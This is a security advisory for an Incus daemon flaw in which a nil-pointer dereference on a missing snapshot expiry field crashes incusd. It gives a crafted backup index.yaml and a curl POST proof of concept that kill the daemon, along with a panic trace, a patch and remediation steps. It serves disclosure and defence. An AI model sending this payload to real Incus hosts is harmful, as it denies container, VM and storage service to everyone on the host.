Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable REST API with low complexity; requires explicitly-granted low-privilege credential (`can_create_storage_volumes`); sole impact is total availability loss of the incusd daemon with no confidentiality or integrity effect.
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
Lifecycle Timeline
3DescriptionCVE.org
Summary
(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.
This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check - the asymmetric guard is the bug.
Vulnerable code
internal/server/storage/backend.go, CreateCustomVolumeFromBackup:
// Line 7710-7714 - the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
if s == nil {
return errors.New("Bad snapshot definition found in index")
}
snapshot := s
snapName := snapshot.Name
// ...
// Line 7731 - UNGUARDED *time.Time deref:
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
snapVol.ContentType(), true, true)ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:
| Line | Code | Guarded? |
|---|---|---|
| 909-910 | CreateInstanceFromBackup | YES |
| 1134-1135 | refresh path | YES |
| 1422-1423 | migration path | YES |
| 7731 | CreateCustomVolumeFromBackup | NO |
Reach
- Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the
can_create_storage_volumesentitlement on any project. Same auth gate as parent GHSA-r7w7. POST /1.0/storage-pools/<pool>/volumes/customwithContent-Type: application/octet-streamandX-Incus-name: <name>.- Body is a tar containing
backup/index.yamlwithtype: custom, a non-nilvolume:block, andvolume_snapshots: [{name: snap0}](noexpires_atfield). cmd/incusd/storage_volumes.go:storagePoolVolumesPost->backup.GetInfoparses the yaml ->pool.CreateCustomVolumeFromBackup-> thes == nilguard at 7712 passes (snapshot pointer is non-nil) ->*snapshot.ExpiresAton line 7731 panics on the nil*time.Time.- No
recover()is installed in the operation runner, so the panic kills the entireincusdprocess. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
volume_snapshots:
- name: snap0
description: snap0
config: {}
# expires_at intentionally omittedProof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
--data-binary @/tmp/poc-vol.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-Incus-name: poc-vol' \
http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep incusd | grep -v grep
# process is GONEDaemon panic from /tmp/incus.out:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]
goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
/build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
/build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
/build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
/build/incus/internal/server/operations/operations.go:306 +0x168Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_storage_volumeson any project. Not behind the admin tier. - Network attack surface: the Incus REST API on
:8443or the unix socket. - CWE-476 - Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Suggested fix
Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+ var snapExpiryDate time.Time
+ if snapshot.ExpiresAt != nil {
+ snapExpiryDate = *snapshot.ExpiresAt
+ }
+
+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
if err != nil {
return err
}Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.
AnalysisAI
Nil pointer dereference in the Incus daemon (incusd) CreateCustomVolumeFromBackup function crashes the entire daemon process when a crafted backup tarball omits the expires_at field on any volume snapshot entry. Any authenticated user holding the can_create_storage_volumes entitlement on any project - below the admin tier - can trigger this with a single POST to the storage backup import endpoint, making it a persistent denial-of-service against all container, VM, and storage operations on the affected host or cluster member. A proof-of-concept exploit (479-byte tarball, confirmed against Incus 7.0.0) was bundled with the advisory; no public exploit identified at time of analysis beyond the reporter-supplied PoC. Fix is available in 7.1.0.
Technical ContextAI
Incus is an open-source container and VM hypervisor written in Go (the successor to LXD, maintained by the Linux Containers project). The affected code is in internal/server/storage/backend.go at line 7731, inside (*backend).CreateCustomVolumeFromBackup. The ExpiresAt field of StorageVolumeSnapshot is typed as *time.Time in shared/api/storage_pool_volume_snapshot.go, making it a nullable pointer that is legitimately absent when a snapshot has no expiry. The parent fix for CVE-2026-40197 (GHSA-r7w7-mmxr-47r9) added a nil check for the snapshot pointer itself (if s == nil) but left the *snapshot.ExpiresAt dereference 19 lines later (line 7731) unguarded - an asymmetric fix. Every other dereference site in the same file (lines 909-910, 1134-1135, 1422-1423) already applies the safe if snapshot.ExpiresAt != nil guard pattern. CWE-476 (Null Pointer Dereference) is the root cause. Because Go panics propagate up the goroutine call stack and no recover() is installed in the incusd operation runner (operations/operations.go:307), the unhandled panic terminates the entire incusd process rather than just the individual request goroutine.
RemediationAI
Upgrade to Incus 7.1.0 or later, which contains the upstream fix per the advisory at https://github.com/lxc/incus/security/advisories/GHSA-xhqx-mgh3-3h7q. For v6.0.x LTS deployments, also verify that the parent fix for CVE-2026-40197 (GHSA-r7w7-mmxr-47r9) is applied and monitor the v6.0.x release channel for a backported fix. If an immediate upgrade is not possible, restrict the can_create_storage_volumes entitlement to the minimum set of fully trusted users, which eliminates the attack surface for unprivileged project members; note that this prevents legitimate users from restoring custom volume backups until patched. Additionally, consider blocking the backup import request pattern (POST /1.0/storage-pools/*/volumes/custom with Content-Type: application/octet-stream) at a reverse proxy or firewall in front of the Incus API port (default 8443) for any externally-reachable deployments - this blocks the import workflow entirely but prevents daemon crash from crafted tarballs.
Same weakness CWE-476 – NULL Pointer Dereference
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-63974
GHSA-xhqx-mgh3-3h7q